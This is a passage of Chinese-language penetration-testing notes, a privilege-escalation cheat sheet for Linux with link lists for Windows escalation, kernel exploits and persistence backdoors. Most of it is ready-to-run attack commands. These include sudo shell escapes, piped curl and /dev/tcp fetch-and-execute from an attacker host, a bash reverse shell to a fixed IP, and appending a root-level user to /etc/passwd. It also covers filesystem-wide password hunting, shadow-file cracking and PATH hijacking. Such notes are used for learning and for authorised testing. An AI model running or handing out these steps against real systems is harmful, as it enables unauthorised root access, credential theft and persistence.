4.4 sudo -l
- (root) NOPASSWD: /usr/bin/python3.5
- sudo python3.5 -c 'import os; os.system("/bin/sh")'
- sudo /usr/bin/vim -c ':!/bin/sh'
4.2 提权脚本
https://www.freebuf.com/articles/network/274223.html
1.PEASS-ng
PEAS-ng 是一款适用于 Windows 和 Linux/Unix* 和 MacOS 的权限提升工具。
项目地址:https://github.com/carlospolop/PEASS-ng
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
参考文档:全平台系统提权辅助工具 PEASS-ng
2.LinEnum
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
-k输入关键字
-e输入导出位置
-t包括详尽的测试
-s提供当前用户密码以检查sudo权限(不安全)
-r输入报告名称
-h显示帮助文本
3.Bashark
https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh
4.LES:Linux Exploit Suggester
https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
5.LinuxPrivChecker
https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
6.Linux Private-i
https://raw.githubusercontent.com/rtcrowley/linux-private-i/master/private-i.sh
7.Linux Smart Enumeration
https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
8.Linux Exploit Suggester 2
https://github.com/jondonas/linux-exploit-suggester-2
6.2提权指南
4.3文件提权
tar:tar命令在解压时会默认指定参数--same-owner,即打包的时候是谁的,解压后就给谁;如果在解压时指定参数--no-same-owner(即tar --no-same-owner -zxvf xxxx.tar.gz),则会将执行该tar命令的用户作为解压后的文件目录的所有者。
tar zcPf 2.tgz /var/backups/.old_pass.bak
tar --no-same-owner -zxf 2.tgz ./
4.4定时任务提权
ls -l /etc/crontab
ls -l /etc/cron.d/automate
cat /etc/crontab
cat /etc/cron.d/automate
4.5密码寻找
查找内容中包含有密码特征字符串的文件。
过滤登录日志寻找
grep fail /var/log/secure
find命令查找
grep -R -i pass /home/* 2>/dev/null |xargs ls -l { }\; 2>/dev/null
grep -R -i root /home/* 2>/dev/null |xargs ls { }\; 2>/dev/null
find / -type f | xargs grep -i pass 2>/dev/null
find / .|xargs grep -i pass
find / . -exec grep -i pass {} \;
find / -type f -name ".*" 2>/dev/null |grep -i "pass"
find / -type f -exec ls -l { } \;
配置文件查找
find /var -type f -name "*conf*" 2>/dev/null
cat xxx.conf |grep -i pass
查找包含用户名关键字的文件和目录
查找包含用户名关键字的文件
find / -type f -iname "*$(whoami)*" 2>/dev/null
查找包含用户名关键字的目录
find / -type d -iname "*$(whoami)*" 2>/dev/null
find / -type f -iname "*sickos*" 2>/dev/null
-iname 忽略大小写
4.6可执行高权限python脚本提权
import os
os.system('/usr/bin/bash /home/daniel/shell.sh')
cat /home/daniel/shell.sh
bash -i >& /dev/tcp/192.168.56.102/8888 0>&1
4.7/etc/passwd /etc/shadow提权
ls -l /etc/passwd
cat /etc/passwd
ls -l /etc/shadow
cat /etc/shadow
/etc/passwd 写入提权
发现 /etc/passwd 文件可以写入
可以追加一个用户和密码到/etc/passwd文件末尾,通过切换用户拿到root权限
1生成自定义的新密码
mkpasswd -m sha-512
密码:
$6$p7H73wlaIu771Bee$lzlH8TvKZjJzjnQbxHco2eA6aZ4MnyTnF57zMaVoafyDj70PH73PcFqGdusN2XNJinj.eDTTGBzj4CgGhYCmd/
2拼接字符,准备传入passwd文件
test:$6$p7H73wlaIu771Bee$lzlH8TvKZjJzjnQbxHco2eA6aZ4MnyTnF57zMaVoafyDj70PH73PcFqGdusN2XNJinj.eDTTGBzj4CgGhYCmd/:0:0:root:/root:/bin/bash
echo 'test:$6$p7H73wlaIu771Bee$lzlH8TvKZjJzjnQbxHco2eA6aZ4MnyTnF57zMaVoafyDj70PH73PcFqGdusN2XNJinj.eDTTGBzj4CgGhYCmd/:0:0:root:/root:/bin/bash' >> /etc/passwd
3登录
/etc/shadow 提权
读取破解
当文件可读时,可以查看用户的密文密码
1根据密码文开头部分可以判断加密算法:
$6 : sha 512
2使用工具爆破密文
3登录
写入提权
当文件写入时,可以替换高级用户的密文密码实现提权
1生成新密文密码
mkpasswd -m sha-512
2将密文写入shadow文件
3登录
4.8LXD容器提权(用户属于lxd组)
SUID(设置用户标识)提权
-
https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells
-
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
-
find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null
find / -type f -writable2 >/dev/null | grep 用户
find / -type f -writable 2>/dev/null > /tmp/w.txt find / -perm -o=rw 2>/dev/null > /tmp/w.txt
可提权结果: /usr/lib/policykit-1/polkit-agent-helper-1
4.9进程信息信息获取工具pspy64
项目地址:
https://github.com/DominicBreuker/pspy/releases/
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
您可以运行PSPY-help,以了解旗帜及其含义。 摘要如下:
-p:启用打印命令到stdout(默认为启用)
-f:启用打印文件系统事件到stdout(默认情况下禁用)
-r:目录列表可以使用Inotify观看。 PSPY将递归观看所有子目录(默认情况下,Watches /usr, /tmp, /etc, /etc, /home, /var和 /opt)。
-d:目录列表可以使用Inotify观看。 PSPY只会观看这些目录,而不是子目录(默认情况下为空)。
-i:procfs扫描之间的毫秒间隔。 PSPY定期扫描新过程,无论求解事件如何,以防万一未收到某些事件。
-c:以不同颜色的打印命令。 文件系统事件已不再颜色,命令基于过程UID具有不同的颜色。
--debug :打印否则隐藏的详细错误消息。
一些更复杂的例子:
# 同时打印命令和文件系统事件,并每1000毫秒扫描procf(= 1sec)
./pspy64 -pf -i 1000
# 将观察者递归地将两个目录放在两个目录中
./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir
# 禁用打印发现的命令,但启用文件系统事件
./pspy64 -p=false -f
下载链接
32 bit big, static version: pspy32
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
64 bit big, static version: pspy64
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
32 bit small version: pspy32s
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
64 bit small version: pspy64s
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s
环境变量劫持提权
1创建同名命令,并将想要执行的命令写入
cd tmp
touch netstat
echo "/bin/bash">netstat
2对该文件赋予权限,使其可执行
chmod 777 netstat
3修改环境变量
export PATH=/tmp:$PATH
4执行目标文件,完成提权
内核提权
漏洞信息检索
searchsploit Linux kernel xx.xx.xx
gcc hello.c -o a/hello.out
内核漏洞
参考资料
- [2021.04.06] - https://i.hacking8.com/tiquan/ - 提权辅助网页 Windows提权辅助
- [2021.04.06] - https://github.com/Ascotbe/Kernelhub - Windows 提权漏洞合集(带有编译环境/详细说明)
- [2021.04.06] - https://github.com/SecWiki/windows-kernel-exploits - windows-kernel-exploits Windows平台提权漏洞集合
- [2021.04.06] - https://github.com/SecWiki/linux-kernel-exploits - linux-kernel-exploits Linux平台提权漏洞集合
- [2021.04.06] - https://github.com/worawit/CVE-2021-3156 - CVE-2021-3156 sudo 提权漏洞 各平台下的EXP
- [2021.04.06] - https://github.com/FireFart/dirtycow - CVE-2016-5195 脏牛漏洞提权EXP
- [2021.04.14] - https://github.com/liamg/traitor - 自动化Linux权限提升工具
- [2021.06.22] - PowerShell 脚本可快速查找本地提权漏洞的缺失软件补丁
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
windows提权
七、权限保持
- [2021.04.06] - https://github.com/360-Linton-Lab/Telemetry - WINDOWS TELEMETRY权限维持
- [2021.04.06] - https://github.com/Lhaihai/PythonPersistence - python3 写的一些权限维持脚本
- [2021.04.06] - https://github.com/AV1080p/Schtasks-Backdoor - 一款权限维持后门PowerShell脚本
- [2021.04.06] - https://xz.aliyun.com/t/8095 - Windows权限维持技术整理
- [2021.04.06] - https://www.cnblogs.com/-mo-/p/12337766.html - [总结]Linux权限维持
- [2021.04.06] - https://bypass007.github.io/Emergency-Response-Notes - bypass007 权限维持篇
- [2021.04.06] - https://www.yuque.com/tidesec/redteam/sgfxkl - TideSec 红蓝WIKI windows权限维持
- [2021.04.06] - https://www.yuque.com/tidesec/redteam/myy0vw - TideSec 红蓝WIKI Linux权限维持
- [2021.04.06] - https://attack.mitre.org/tactics/TA0004/ - ATT&CK 权限提升 总结技巧
- [2021.04.20] - https://github.com/Al1ex/Monitor - 用于实现后渗透测试阶段权限维持
- [2021.05.06] - https://github.com/wgpsec/Automatic-permission-maintenance - CobaltStrike 上线自动权限维持插件
- [2021.04.06] - [文章] - https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html - user.ini文件构成的PHP后门
- [2021.06.22] - NetUser 使用windows api添加用户,可用于net无法使用时
- [2021.06.24] - rcmd 通过CreateRemoteThread(&WinExec, "").在另一个进程中运行命令。
八、参考资料及待整理资料
-
清华大学出版社《CTF安全竞赛入门》
-
Linux Pentest Commands Linux 检测命令
-
Windows Command Line Cheatsheet Windows 命令行实用手册
-
Windows Priv Esc cheatsheet
-
Pentest References:
-
[2021.04.06] - https://github.com/l3m0n/pentest_study - 从零开始内网渗透学习
-
[2021.04.06] - https://github.com/Ridter/Intranet_Penetration_Tips - 2018年初整理的一些内网渗透TIPS
-
[2021.04.06] - https://attack.mitre.org/ - MITRE ATT&CK安全知识库
-
[2021.04.06] - https://micro8.gitbook.io/micro8/ - Micro8 系列 渗透测试/APT模拟攻击
-
[2021.04.07] - https://xz.aliyun.com/t/9372 - 内网渗透--对不出网目标的打法
-
[2021.04.22] - https://github.com/RedTeamWing/Hunting-Active-Directory - 个人整理的一些域渗透Tricks
-
[2021.06.27] - https://github.com/ybdt/post-hub - 内网仓库:远控、提权、免杀、代理、横向、清理